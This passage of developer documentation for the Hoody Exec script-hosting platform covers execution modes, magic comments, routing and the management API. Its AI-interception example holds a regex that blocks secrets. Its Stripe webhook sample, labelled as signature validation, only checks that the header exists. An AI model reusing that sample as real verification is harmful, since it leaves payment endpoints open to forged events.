  shared.cacheHits = 0;
  shared.cacheMisses = 0;
}

const userId = metadata.parameters.id;

// Check cache first
if (shared.usersCache.has(userId)) {
  shared.cacheHits++;
  return {
    user: shared.usersCache.get(userId),
    cached: true,
    cacheHitRate: shared.cacheHits / (shared.cacheHits + shared.cacheMisses)
  };
}

// Fetch from database (cache miss)
shared.cacheMisses++;
const user = await fetchUserFromDatabase(userId);

// Cache for next request
shared.usersCache.set(userId, user);

return {
  user,
  cached: false,
  cacheHitRate: shared.cacheHits / (shared.cacheHits + shared.cacheMisses)
};
```

**Serverless Mode** (fresh, stateless):
```javascript
// api/users/[id].ts
// @mode serverless
// @concurrent 10
// @cors reflective
// @timeout 5000
// @log-level standard

const userId = metadata.parameters.id;

// Validate input
if (!userId || userId.length !== 24) {
  res.statusCode = 400;
  return {
    error: 'Invalid user ID format',
    expected: '24-character hex string'
  };
}

// Fresh database query every time (no cache)
const user = await fetchUserFromDatabase(userId);

if (!user) {
  res.statusCode = 404;
  return {
    error: 'User not found',
    userId
  };
}

// Clean response (isolated execution)
return {
  user,
  requestId: metadata.executionId
};
```

  
  

**Worker Mode Only** (WebSocket requires persistent VM):
```javascript
// chat/rooms/[roomId].ts
// @mode worker
// @websocket
// @cors reflective
// @timeout 0

const roomId = metadata.parameters.roomId;

// Initialize room state
if (!shared.rooms) {
  shared.rooms = new Map();
}

if (!shared.rooms.has(roomId)) {
  shared.rooms.set(roomId, {
    users: new Map(),
    messages: [],
    created: new Date()
  });
}

const room = shared.rooms.get(roomId);

// Serve HTML UI for HTTP requests
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(`
  <!DOCTYPE html>
  <html>
    <head><title>Chat Room: ${roomId}</title></head>
    <body>
      <div id="messages"></div>
      <input id="input" placeholder="Type message..." />
      <script>
        const ws = new WebSocket(location.href.replace('http', 'ws'));
        ws.onmessage = e => {
          const div = document.createElement('div');
          div.textContent = e.data;
          document.getElementById('messages').appendChild(div);
        };
        document.getElementById('input').onkeypress = e => {
          if (e.key === 'Enter') {
            ws.send(e.target.value);
            e.target.value = '';
          }
        };
      </script>
    </body>
  </html>
`);

// WebSocket handlers
ws.open = (socket, req) => {
  const userId = socket.data.executionId;
  room.users.set(userId, {
    connectedAt: new Date(),
    ip: socket.data.ip
  });

  // Broadcast join message to all in room
  ws.broadcast(JSON.stringify({
    type: 'join',
    roomId,
    userId,
    userCount: room.users.size
  }));
};

ws.message = (socket, data) => {
  const message = {
    type: 'message',
    roomId,
    userId: socket.data.executionId,
    text: data,
    timestamp: new Date().toISOString()
  };

  // Save to room history
  room.messages.push(message);

  // Broadcast to all users in THIS room only
  ws.broadcast(JSON.stringify(message));
};

ws.close = (socket, code, reason) => {
  const userId = socket.data.executionId;
  room.users.delete(userId);

  // Cleanup empty rooms
  if (room.users.size === 0 && room.messages.length === 0) {
    shared.rooms.delete(roomId);
  }

  ws.broadcast(JSON.stringify({
    type: 'leave',
    roomId,
    userId,
    userCount: room.users.size
  }));
};
```

  
  

**Serverless Mode Best Practice** (isolation prevents cross-webhook contamination):
```javascript
// webhooks/stripe.ts
// @mode serverless
// @concurrent false  // Process webhooks serially
// @cors none
// @timeout 30000
// @log-level full
// @log-request-body true

// Validate webhook signature
const signature = req.headers['stripe-signature'];
if (!signature) {
  res.statusCode = 401;
  return {
    error: 'Missing signature',
    message: 'Stripe-Signature header required'
  };
}

// Parse webhook payload
let event;
try {
  // req.rawBody is the raw request Buffer (preserved for signature verification)
  const rawBody = req.rawBody.toString();
  event = JSON.parse(rawBody);
} catch (err) {
  res.statusCode = 400;
  return {
    error: 'Invalid payload',
    message: err.message
  };
}

// Handle event types
switch (event.type) {
  case 'payment_intent.succeeded':
    await processPayment(event.data.object);
    break;

  case 'customer.subscription.created':
    await createSubscription(event.data.object);
    break;

  case 'invoice.payment_failed':
    await handleFailedPayment(event.data.object);
    break;

  default:
    console.log('Unhandled event type:', event.type);
}

// Stripe requires 200 response
res.statusCode = 200;
return {
  received: true,
  eventId: event.id,
  type: event.type,
  processedAt: new Date().toISOString()
};
```

  
  

**Worker Mode** (shared state tracks request counts per IP):
```javascript
// api/limited-endpoint.ts
// @mode worker
// @timeout 5000
// @log-level standard

// Rate limit: 10 requests per minute per IP
const RATE_LIMIT = 10;
const WINDOW_MS = 60000;

// Initialize rate limit tracking
if (!shared.rateLimits) {
  shared.rateLimits = new Map();
}

const clientIp = metadata.clientIp;
const now = Date.now();

// Get or create IP tracking
let ipData = shared.rateLimits.get(clientIp);
if (!ipData) {
  ipData = { requests: [], firstRequest: now };
  shared.rateLimits.set(clientIp, ipData);
}

// Clean old requests outside window
ipData.requests = ipData.requests.filter(
  timestamp => now - timestamp < WINDOW_MS
);

// Check rate limit
if (ipData.requests.length >= RATE_LIMIT) {
  const oldestRequest = Math.min(...ipData.requests);
  const resetIn = WINDOW_MS - (now - oldestRequest);

  res.statusCode = 429;
  res.setHeader('Retry-After', Math.ceil(resetIn / 1000));
  res.setHeader('X-RateLimit-Limit', RATE_LIMIT);
  res.setHeader('X-RateLimit-Remaining', 0);
  res.setHeader('X-RateLimit-Reset', new Date(now + resetIn).toISOString());

  return {
    error: 'Rate limit exceeded',
    limit: RATE_LIMIT,
    window: '1 minute',
    retryAfter: Math.ceil(resetIn / 1000)
  };
}

// Add this request to tracking
ipData.requests.push(now);

// Set rate limit headers
const remaining = RATE_LIMIT - ipData.requests.length;
res.setHeader('X-RateLimit-Limit', RATE_LIMIT);
res.setHeader('X-RateLimit-Remaining', remaining);
res.setHeader('X-RateLimit-Reset', new Date(now + WINDOW_MS).toISOString());

// Execute actual endpoint logic
const data = await processRequest();

return {
  success: true,
  data,
  rateLimit: {
    remaining,
    resetAt: new Date(now + WINDOW_MS).toISOString()
  }
};
```

  
  

**Worker Mode** (intercept and control AI requests):
```javascript
// ai/intercept.ts
// @mode worker
// @timeout 60000
// @cors reflective
// @log-level full
// @log-request-body true
// @log-response-body true

// Initialize MITM tracking
if (!shared.aiRequests) {
  shared.aiRequests = [];
  shared.blockedCount = 0;
  shared.modifiedCount = 0;
}

// Parse AI request (req.body is the auto-parsed JSON payload)
const aiRequest = req.body;

// Log for observability
console.log('AI Request:', {
  model: aiRequest.model,
  messageCount: aiRequest.messages?.length,
  timestamp: new Date().toISOString()
});

// BLOCK: Prevent sensitive data leaks
const hasSensitiveData = aiRequest.messages?.some(msg =>
  /api[_-]?key|password|secret|token/i.test(msg.content)
);

if (hasSensitiveData) {
  shared.blockedCount++;
  res.statusCode = 403;
  return {
    error: 'Blocked: Sensitive data detected',
    reason: 'AI request contains potential API keys or secrets',
    blocked: shared.blockedCount,
    timestamp: new Date().toISOString()
  };
}

// MODIFY: Add system prompt
if (aiRequest.messages[0]?.role !== 'system') {
  aiRequest.messages.unshift({
    role: 'system',
    content: 'You are a helpful assistant. Be concise and accurate.'
  });
  shared.modifiedCount++;
}

// TRACK: Store request for analysis
shared.aiRequests.push({
  model: aiRequest.model,
  messageCount: aiRequest.messages.length,
  timestamp: new Date().toISOString(),
  modified: shared.modifiedCount > 0
});

// Keep only last 100 requests
if (shared.aiRequests.length > 100) {
  shared.aiRequests.shift();
}

// Forward to actual Hoody AI endpoint
const hoodyAIResponse = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': req.headers.authorization,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(aiRequest)
});

const result = await hoodyAIResponse.json();

// Return with observability metadata
return {
  ...result,
  _mitm: {
    modified: shared.modifiedCount > 0,
    blocked: shared.blockedCount,
    totalRequests: shared.aiRequests.length
  }
};
```

See [Hoody AI Intercept & Control](/foundation/hoody-ai/mitm/) for the complete MITM guide.

  


---

## What's Next

---

# Hoody Exec

**Page:** kit/exec/index

[Download Raw Markdown](./kit/exec/index.md)

---

# Hoody Exec

**The recommended way to run scripts on Hoody.** Write a TypeScript/JavaScript function in a file. That's it. You now have an HTTP endpoint — complete with automatic routing, JSON serialization, dependency installation, and production-grade execution. No Express. No Fastify. No webserver configuration. No package.json. **Just write code in files, and they become URLs.**

This is what "everything is HTTP" means in practice. Your code IS the API.


Traditional: Install Express, configure routes, manage middleware, setup CORS, handle errors, deploy to server, configure load balancer...

Hoody Exec: Write function in file. **Done.** It's live. It's an API. Other services can call it. AI can discover it. Users can hit it. That's the abstraction.



Hoody Exec runs your scripts in **isolated Bun execution contexts** and is production-ready. However, it's designed for running **YOUR code or trusted code** — not arbitrary untrusted code from random users. Perfect for your own APIs, internal tools, and trusted applications.


---

## Two Execution Modes

Everything in Hoody Exec revolves around choosing the right execution mode. This one decision changes everything about how your code runs.

| Feature | Worker Mode | Serverless Mode |
|---------|------------|-----------------|
| **State** | Persistent `shared` object | None (fresh each time) |
| **WebSocket** | Supported | Not available |
| **Concurrency** | Unlimited (handle in code) | Configurable via `@concurrent` |
| **Startup** | Once (fast subsequent requests) | Per request (slight overhead) |
| **Memory** | Higher (persistent VM) | Lower (ephemeral) |
| **Use Case** | Real-time, stateful APIs | Webhooks, isolated tasks |

**Worker Mode** (`// @mode worker`) — Think: long-running Node.js server that never restarts. Persistent VM, shared state across requests, WebSocket support, zero cold start.

**Serverless Mode** (`// @mode serverless` or omit) — Think: AWS Lambda, Vercel Functions. Fresh VM per request, complete isolation, configurable concurrency.

**See [Execution Modes](/kit/exec/execution-modes/) for the complete deep dive with real-world examples.**

---

## What You Can Do

- **File = API** — Create file → instant HTTP endpoint (no server config)
- **Two Modes** — Worker (persistent) or Serverless (isolated)
- **Magic Comments** — Configure with `// @mode worker`, `// @cors *`, `// @timeout 5000`
- **File-Based Routing** — `api/users/[id].ts` → `/api/users/123` with dynamic parameters
- **Powered by Bun** — Modern JavaScript runtime (faster than Node.js)
- **AI Code Generation** — Write `// @ai true` → get AI helpers injected automatically
- **Auto-Install Dependencies** — Use `require('axios')` → automatically installed (no package.json)
- **Templates** — Scaffold from built-in or custom templates
- **Code Validation** — TypeScript checking, syntax validation, dependency analysis
- **Shared State** — In-memory KV store across requests (worker mode only)
- **WebSocket Support** — Real-time bidirectional communication (worker mode only)
- **Monitoring** — Performance metrics, log streaming, cache stats

---

## Quick Example

Create `scripts/1/api/hello.ts`:

```typescript
// @mode serverless
// @cors reflective
// @timeout 5000

return {
  message: 'Hello from Hoody Exec!',
  timestamp: new Date().toISOString(),
  method: metadata.method,
  ip: metadata.clientIp
};
```

**That's it.** It's now live at:
```
https://PROJECT_ID-CONTAINER_ID-exec-1.SERVER.containers.hoody.icu/api/hello
```

No imports. No exports. No configuration. The parameters (`metadata`, `req`, `res`, `shared`) are [automatically injected](/kit/exec/writing-scripts/).

---

## URL Structure

Every Hoody Exec instance is accessible via a unique hostname:

```
{projectId}-{containerId}-exec-{execId}.{server}.containers.hoody.icu
```

| Component | Description | Example |
|-----------|-------------|---------|
| `projectId` | Your project ID | `abc123` |
| `containerId` | Container ID | `def456` |
| `execId` | Exec instance identifier | `1`, `2`, `test` |
| `server` | Server location | `us1`, `eu2` |

The **exec ID** determines which script directory is used:
- `exec-1` serves scripts from `scripts/1/`
- `exec-2` serves scripts from `scripts/2/`
- `exec-test` serves scripts from `scripts/test/`

You can run multiple exec instances on a single container, each with its own scripts, routing, and shared state. Subdomains resolve automatically — create a new exec ID and it's immediately routable.

### Discovering Available Exec IDs

Use the exec list endpoint to see which exec instances are available:


  
    ```bash
    # List all exec instance IDs
    hoody exec namespaces list
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER
    });
    const result = await containerClient.exec.ids.list();
    console.log(result.execIds); // [{ id: "1", type: "custom", files: 4 }, ...]
    ```
  
  
    ```bash
    curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/list"
    ```
  


Example response:
```json
{
  "execIds": [
    { "id": "1", "type": "custom", "files": 4 },
    { "id": "2", "type": "custom", "files": 1 }
  ],
  "total": 2,
  "summary": { "sdk": 0, "custom": 2 }
}
```

To list scripts for a specific exec instance:


  
    ```bash
    # List all scripts in the current exec instance
    hoody exec scripts list-user
    ```
  
  
    ```typescript
    const scripts = await containerClient.exec.scripts.list();
    console.log(scripts.data);
    ```
  
  
    ```bash
    curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/scripts/list"
    ```
  


---

## Calling Scripts from Scripts

Since every script is an HTTP endpoint, you can call any script from any other script using `fetch()`:

```typescript
// scripts/1/api/aggregate.ts
// @mode serverless

// Call other exec scripts by their URL path
const news = await fetch("/api/hackernews");
const weather = await fetch("/api/weather");

const [newsData, weatherData] = await Promise.all([
  news.json(),
  weather.json()
]);

return { news: newsData, weather: weatherData };
```

Relative paths like `/api/hackernews` resolve to the same exec instance. To call scripts on a different instance or container, use the full hostname:

```typescript
// Call a script on exec instance 2
const res = await fetch("https://PROJECT-CONTAINER-exec-2.SERVER.containers.hoody.icu/api/users");

// Call a script on a different container
const res2 = await fetch("https://PROJECT-OTHER_CONTAINER-exec-1.SERVER.containers.hoody.icu/reports/daily");
```


This pattern lets you compose microservice architectures from simple scripts. Each script is a single function, and they call each other via HTTP — no message queues, no service discovery, no configuration. Just `fetch()`.


---

## Getting Started

Get your first script running in three steps:

**1. Write** — Create a script file:
```typescript
// scripts/1/hello.js
// @mode serverless
return { message: 'Hello, world!', time: Date.now() };
```

Or create it programmatically:


  
    ```bash
    # Write a script to the exec instance
    hoody exec scripts write --path "hello.js" \
      --content "// @mode serverless\nreturn { message: 'Hello, world!' };" \
      --create-dirs
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER
    });
    await containerClient.exec.scripts.write({
      path: 'hello.js',
      content: '// @mode serverless\nreturn { message: "Hello, world!" };',
      createDirs: true
    });
    ```
  
  
    ```bash
    curl -X POST "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/scripts/write" \
      -H "Content-Type: application/json" \
      -d '{"path": "hello.js", "content": "// @mode serverless\nreturn { message: \"Hello, world!\" };", "createDirs": true}'
    ```
  


**2. Execute** — Access your script via its URL:
```bash
curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/hello"
```

**3. Verify** — Check the response and logs:
```json
{ "message": "Hello, world!", "time": 1708700000000 }
```

Stream logs in real time to debug:


  
    ```bash
    # Stream logs from the exec instance
    hoody exec logs stream --file "api/hello.ts"
    ```
  
  
    ```typescript
    // Logs are streamed via SSE — use the HTTP endpoint directly
    const res = await fetch(
      `https://${PROJECT}-${CONTAINER}-exec-1.${SERVER}.containers.hoody.icu/api/v1/exec/logs/stream?file=access.log`
    );
    ```
  
  
    ```bash
    curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/logs/stream?file=access.log"
    ```
  


---

## API Endpoints Summary

All endpoints accessed relative to your Exec instance:
```txt
https://PROJECT_ID-CONTAINER_ID-exec-1.SERVER.containers.hoody.icu
```

**Core Execution**:
- [`GET/POST /{path}`](/api/exec/script-execution/) — Execute scripts via file-based routes

**Script Management**:
- [`GET /api/v1/exec/scripts/list`](/api/exec/script-management/) — List all scripts
- [`GET /api/v1/exec/scripts/read`](/api/exec/script-management/) — Read script content
- [`POST /api/v1/exec/scripts/write`](/api/exec/script-management/) — Create/update scripts
- [`DELETE /api/v1/exec/scripts/delete`](/api/exec/script-management/) — Delete a script
- [`POST /api/v1/exec/scripts/move`](/api/exec/script-management/) — Move/rename a script
- [`POST /api/v1/exec/scripts/tree`](/api/exec/script-management/) — Get directory tree

**Templates**:
- [`GET /api/v1/exec/templates/list`](/api/exec/templates/) — List templates
- [`GET /api/v1/exec/templates/preview`](/api/exec/templates/) — Preview template
- [`POST /api/v1/exec/templates/generate`](/api/exec/templates/) — Create from template

**Validation**:
- [`POST /api/v1/exec/validate/script`](/api/exec/validation/) — Comprehensive validation
- [`POST /api/v1/exec/validate/typescript`](/api/exec/validation/) — TypeScript checking
- [`POST /api/v1/exec/validate/syntax`](/api/exec/validation/) — Syntax validation
- [`POST /api/v1/exec/validate/dependencies`](/api/exec/validation/) — Dependency validation
- [`POST /api/v1/exec/validate/return-type`](/api/exec/validation/) — Return type validation
- [`POST /api/v1/exec/validate/magic-comments`](/api/exec/validation/) — Parse magic comments

**Dependencies**:
- [`POST /api/v1/exec/dependencies/check`](/api/exec/dependencies/) — Check missing packages
- [`POST /api/v1/exec/dependencies/install`](/api/exec/dependencies/) — Install NPM modules

**Routing**:
- [`POST /api/v1/exec/route/resolve`](/api/exec/routing/) — Resolve which script a URL maps to
- [`POST /api/v1/exec/route/discover`](/api/exec/routing/) — Discover all routes
- [`POST /api/v1/exec/route/test`](/api/exec/routing/) — Test route matching

**Package Management**:
- [`GET /api/v1/exec/package/read`](/api/exec/package-management/) — Read package.json
- [`POST /api/v1/exec/package/update`](/api/exec/package-management/) — Update package.json
- [`POST /api/v1/exec/package/install`](/api/exec/package-management/) — Install packages
- [`POST /api/v1/exec/package/compare`](/api/exec/package-management/) — Compare packages
- [`POST /api/v1/exec/package/pin`](/api/exec/package-management/) — Pin versions
- [`POST /api/v1/exec/package/init`](/api/exec/package-management/) — Init package.json

**Magic Comments API**:
- [`GET /api/v1/exec/magic-comments/schema`](/api/exec/script-management/) — Get magic comments schema
- [`GET /api/v1/exec/magic-comments/read`](/api/exec/script-management/) — Read script magic comments
- [`PUT /api/v1/exec/magic-comments/update`](/api/exec/script-management/) — Update magic comments
- [`POST /api/v1/exec/magic-comments/bulk-update`](/api/exec/script-management/) — Bulk update magic comments

**State & Cache**:
- [`POST /api/v1/exec/shared-state/get`](/api/exec/cache-state/) — Read shared state
- [`POST /api/v1/exec/shared-state/set`](/api/exec/cache-state/) — Write shared state
- [`POST /api/v1/exec/shared-state/clear`](/api/exec/cache-state/) — Clear shared state
- [`POST /api/v1/exec/cache/clear`](/api/exec/cache-state/) — Clear execution cache

**Logs**:
- [`GET /api/v1/exec/logs/list`](/api/exec/logs/) — List logs
- [`POST /api/v1/exec/logs/read`](/api/exec/logs/) — Read log
- [`GET /api/v1/exec/logs/stream`](/api/exec/logs/) — Stream logs (SSE)
- [`POST /api/v1/exec/logs/search`](/api/exec/logs/) — Search logs
- [`DELETE /api/v1/exec/logs/clear`](/api/exec/logs/) — Clear logs

**Monitoring**:
- [`GET /api/v1/exec/monitor/stats`](/api/exec/monitoring/) — Performance metrics
- [`GET /api/v1/exec/monitor/active-requests`](/api/exec/monitoring/) — Active requests
- [`POST /api/v1/exec/monitor/script-performance`](/api/exec/monitoring/) — Script performance
- [`GET /api/v1/exec/health`](/api/exec/monitoring/) — Health check

**System**:
- [`POST /api/v1/exec/system/restart`](/api/exec/) — Restart server
- [`GET /api/v1/exec/system/restart-status`](/api/exec/) — Get restart status

**User OpenAPI**:
- [`POST /api/v1/exec/user-openapi/generate`](/api/exec/) — Generate OpenAPI spec from user scripts
- [`GET /api/v1/exec/user-openapi/list`](/api/exec/) — List user scripts for OpenAPI generation
- [`POST /api/v1/exec/user-openapi/validate`](/api/exec/) — Validate user schema
- [`GET /api/v1/exec/user-openapi/schema`](/api/exec/) — Serve schema file
- [`GET /api/v1/exec/user-openapi/spec`](/api/exec/) — Serve generated OpenAPI spec
- [`POST /api/v1/exec/user-openapi/merge`](/api/exec/) — Merge OpenAPI specs

**SDK Management**:
- [`POST /api/v1/exec/sdk/import`](/api/exec/) — Import SDK
- [`GET /api/v1/exec/sdk/list`](/api/exec/) — List imported SDKs
- [`GET /api/v1/exec/sdk/:id`](/api/exec/) — Get SDK details
- [`DELETE /api/v1/exec/sdk/:id`](/api/exec/) — Delete imported SDK

**Custom Templates**:
- [`POST /api/v1/exec/templates/create-custom`](/api/exec/templates/) — Create custom template
- [`PUT /api/v1/exec/templates/update-custom/:name`](/api/exec/templates/) — Update custom template
- [`DELETE /api/v1/exec/templates/delete-custom/:name`](/api/exec/templates/) — Delete custom template

**Bundled Dependencies**:
- [`GET /api/v1/exec/dependencies/bundled`](/api/exec/dependencies/) — List pre-bundled dependencies

---

## Use Cases

### Instant APIs (Either Mode)
Skip Express/Fastify setup — write functions in files, they're instantly HTTP endpoints. Worker mode for performance, serverless for isolation.

### Real-Time Services (Worker Mode)
WebSocket chat servers, live dashboards, SSE streams, collaborative tools — worker mode's persistent VM handles connections efficiently with shared state.

### Webhook Receivers (Serverless Mode)
Stripe, GitHub, Slack webhooks — serverless isolation prevents cross-contamination, `@concurrent false` ensures serial processing for consistency.

### Hoody AI Interception (Worker Mode)
Intercept and control AI requests via MITM proxy. Add safety checks, modify prompts, track usage. See [Hoody AI Intercept & Control](/foundation/hoody-ai/mitm/).

### Proxy Hooks (Worker Mode)
Register hoody-exec scripts as MITM handlers for any container service (terminal, files, curl, …) directly in your proxy permissions document. The Hoody Proxy dispatches matching traffic through your hook with the real client IP preserved. See [Proxy Hooks](/foundation/proxy/hooks/).

### Internal Tools (Either Mode)
Admin dashboards, data migration scripts, reporting endpoints — choose worker for speed with caching or serverless for isolation and safety.

### Session Management (Worker Mode)
Track user sessions, implement rate limiting, maintain connection pools — `shared` state persists across requests with zero overhead.

### Development & Prototyping (Either Mode)
Rapid iteration with magic comments, test ideas without deployment complexity, AI-generate boilerplate instantly — from idea to API in seconds.

---

## Best Practices

### Choose the Right Mode
**Worker mode** when you need state, WebSocket, or handle high request volume with caching. **Serverless mode** when you need isolation, process webhooks, or have sporadic traffic.

### Magic Comment Strategy
Always declare `@mode` first, set reasonable timeouts to prevent hangs, use `@cors reflective` for development, enable appropriate logging level for debugging. See [Magic Comments Reference](/kit/exec/magic-comments/).

### Security Considerations
**Never** run untrusted code in worker mode (shared state contamination risk), deploy behind authentication for sensitive operations, use container firewall for production, validate all user input.

### State Management (Worker Mode)
Use `shared` object for in-memory cache only, clean up old state periodically to prevent memory leaks, understand state lost on restart, use SQLite for data that must survive restarts.

### Concurrency Control (Serverless Mode)
Use `@concurrent 5` to limit parallel executions and prevent overload, set `@concurrent false` for serial processing (webhooks), monitor queue depth via stats API.

### Dependency Strategy
Let auto-install handle common packages (zero config), pin versions in production for stability via package.json if needed, test dependencies before deploying, monitor `node_modules` size growth.

### Performance Optimization
Use worker mode for frequently-called endpoints (zero cold start), monitor cache hit rates (should be >95%), keep scripts small and focused (under 200 lines), implement timeout limits to prevent hangs.

---

## Useful Questions

**Q: When should I use worker vs serverless mode?**
Use **worker** for WebSocket, stateful apps, high-traffic APIs, session management, rate limiting. Use **serverless** for webhooks, isolated tasks, untrusted code, sporadic traffic, stateless operations. See [Execution Modes](/kit/exec/execution-modes/) for the full comparison.

**Q: Can serverless mode use WebSocket?**
No — WebSocket requires persistent connection handling in a persistent VM. Only worker mode supports WebSocket.

**Q: What happens to shared state on restart?**
Lost completely. `shared` is in-memory only. Use SQLite (`hoody-sqlite` service) or external database for data that must survive restarts.

**Q: How does concurrency work in worker mode?**
Unlimited — your code handles all concurrent requests in the same VM. Manage concurrency yourself via semaphores or queues if needed. Serverless mode uses `@concurrent` to limit.

**Q: Can I mix worker and serverless scripts?**
Yes — each script declares its own mode independently. Worker scripts at `/api/ws.ts` can coexist with serverless scripts at `/webhooks/stripe.ts`.

**Q: How do magic comments work?**
Parsed at script load time. Configure script behavior without code changes. Validated via validation API. Take precedence over defaults. Change comment, behavior changes. See [Magic Comments](/kit/exec/magic-comments/).

**Q: Can I use TypeScript?**
Yes — `.ts` files automatically transpiled by Bun. Full TypeScript validation available via validation endpoints. Zero config needed.

**Q: How does auto-install work?**
Detects `require()` calls, checks if module installed, runs `npm install` automatically, caches install status, uses latest versions (or pin in package.json).

**Q: Do I need to manage a web server?**
No — that's the point. You write functions in files, Hoody Exec IS the web server. No Express, no Koa, no configuration. The file system IS your routing configuration.

---

## Troubleshooting

### Script Returns 404
**Cause**: No script file matches URL path.
**Solution**: Check file exists at `/hoody/storage/hoody-exec/scripts/1/path/to/script.ts`, verify filename matches route exactly, use route validation API to test.

### Magic Comments Not Working
**Cause**: Comments not at top of file or syntax error.
**Solution**: Place magic comments before ANY code (even before imports), use validation endpoint to parse comments, check exact syntax (space after `//`), verify comment name spelling. See [Magic Comments](/kit/exec/magic-comments/).

### Shared State Not Persisting
**Cause**: Using serverless mode or server restarted.
**Solution**: Must use `// @mode worker` for shared state. State is in-memory only (lost on restart). Use SQLite service for persistence. See [Execution Modes](/kit/exec/execution-modes/).

### WebSocket Connection Fails
**Cause**: Missing magic comments or wrong mode.
**Solution**: Must have both `// @mode worker` AND `// @websocket`. Worker mode required — serverless cannot do WebSocket.

### CORS Errors in Browser
**Cause**: Missing CORS magic comments.
**Solution**: Add `// @cors reflective` for development, `// @cors *` for testing, specific origin for production (`// @cors https://app.com`).

### Script Timeout
**Cause**: Long-running operation exceeds timeout.
**Solution**: Add `// @timeout 60000` to increase limit, use `// @timeout 0` for unlimited (risky), optimize slow operations, consider async patterns.

### Concurrent Request Limit Hit (Serverless)
**Cause**: `@concurrent` limit reached, requests queuing.
**Solution**: Increase limit (`// @concurrent 10`), optimize script performance, consider worker mode for high traffic, monitor queue depth.

### Module Not Found After Auto-Install
**Cause**: Installation failed or network issue.
**Solution**: Check network connectivity, verify module exists on npm, check logs for install errors, manually install if needed, check module name spelling.

---

## What's Next

---

# Magic Comments

**Page:** kit/exec/magic-comments

[Download Raw Markdown](./kit/exec/magic-comments.md)

---

# Magic Comments

**Configure script behavior with special comments at the top of your file.** No code changes, no config files, no environment variables. Change a comment, behavior changes instantly.

```javascript
// @mode worker
// @cors reflective
// @timeout 5000
// @log-level standard
// @ai true

// Your code starts here...
return { hello: 'world' };
```

---

## How Magic Comments Work

Magic comments are parsed at script load time. They must be placed at the **very top** of your file, before any code.

**Rules:**
- Start with `//` followed by a space and `@`
- Must be at the top of the file — before any code, imports, or expressions
- One comment per line
- Validated via the [validation API](/api/exec/validation/)
- Take precedence over default values
- Case-sensitive for comment names

**Validation example:**


  
    ```bash
    # Validate magic comments in a script
    hoody exec validate magic-comments \
      --code "// @mode worker\n// @cors reflective\n// @timeout 5000\nreturn {};"
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER
    });
    const result = await containerClient.exec.validate.validateMagicComments({
      code: '// @mode worker\n// @cors reflective\n// @timeout 5000\nreturn {};'
    });
    console.log(result.data); // { valid: true, comments: { mode: "worker", cors: "reflective", timeout: 5000 } }
    ```
  
  
    ```bash
    curl -s -X POST "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/validate/magic-comments" \
      -H "Content-Type: application/json" \
      -d '{
        "code": "// @mode worker\n// @cors reflective\n// @timeout 5000\nreturn {};"
      }'
    ```
  


---

## Execution & Performance

| Comment | Values | Default | Description |
|---------|--------|---------|-------------|
| `@mode` | `worker` \| `serverless` | `serverless` | **Choose execution mode** — Worker for stateful persistent VM, Serverless for isolated fresh VM per request |
| `@enabled` | `true` \| `false` | `true` | Enable or disable script execution — a disabled script does not run |
| `@timeout` | number (ms) \| `0` \| `unlimited` | `3600000` | Request timeout in milliseconds (default: 1 hour). Use `0` or `unlimited` for no timeout |
| `@await-promises` | `true` \| `false` | `true` | Auto-await returned promises before sending response |
| `@concurrent` | number \| `true` \| `false` | `true` | **Serverless only** — Max concurrent executions. `true` = unlimited, `false` = single serial execution |

**Examples:**
```javascript
// @mode worker          // Persistent VM, shared state
// @timeout 60000        // 60 second timeout
// @concurrent false     // Serverless: process one at a time
// @timeout 0            // No timeout (use carefully!)
// @timeout unlimited    // Same as @timeout 0
```


Always set `@mode` as the **first** magic comment — it determines the fundamental execution behavior and affects which other comments are relevant.


---

## CORS Configuration

| Comment | Values | Default | Description |
|---------|--------|---------|-------------|
| `@cors` | `reflective` \| `*` \| URL \| `none` | `none` | CORS origin. `reflective` mirrors the request origin |
| `@cors-credentials` | `true` \| `false` | `false` | Allow credentials (cookies, auth headers) |
| `@cors-methods` | `GET,POST,...` | `GET,POST,PUT,DELETE,PATCH,OPTIONS` | Allowed HTTP methods |
| `@cors-headers` | `Authorization,...` | `Content-Type,Authorization,X-Requested-With` | Allowed request headers |
| `@cors-max-age` | number (seconds) | _(unset)_ | Preflight response cache duration — omitted from responses unless set |

**Examples:**
```javascript
// @cors reflective              // Mirror request origin (development)
// @cors *                       // Allow any origin (testing)
// @cors https://app.example.com // Specific origin (production)
// @cors none                    // No CORS headers
// @cors-credentials true        // Allow cookies
// @cors-methods GET,POST        // Only allow GET and POST
```


Use `@cors reflective` during development for convenience. In production, **always specify the exact origin** (`@cors https://your-app.com`) to prevent unauthorized cross-origin access.


---

## Logging & Debug

| Comment | Values | Default | Description |
|---------|--------|---------|-------------|
| `@log-level` | `none` \| `minimal` \| `standard` \| `full` \| `debug` | `standard` | Logging verbosity |
| `@debug` | `true` \| `false` | `false` | Shortcut for `@log-level debug` |
| `@log-request-body` | `full` \| `redacted` \| `off` \| `true` \| `false` | `full` | Log incoming request bodies |
| `@log-response-body` | `full` \| `redacted` \| `off` \| `true` \| `false` | `full` | Log response bodies |
| `@log-max-body-size` | number (bytes) | `1048576` | Max body size to log (e.g., `1048576` for 1MB) |
| `@log-exclude-headers` | header names | `authorization cookie x-token` | Headers to exclude from logs (e.g., `authorization cookie`) |
| `@log-retention-days` | number | `14` | How long to keep log files |
| `@debug-instrument` | `true` \| `false` | `false` | Enable code instrumentation for detailed tracing |

**Examples:**
```javascript
// @log-level full                  // Maximum logging
// @log-request-body true           // Log request payloads
// @log-response-body true          // Log response payloads
// @log-exclude-headers authorization cookie  // Hide sensitive headers
// @log-retention-days 30           // Keep logs for 30 days
// @debug-instrument true           // Detailed code tracing
```

**Log levels explained:**
- `none` — No logging
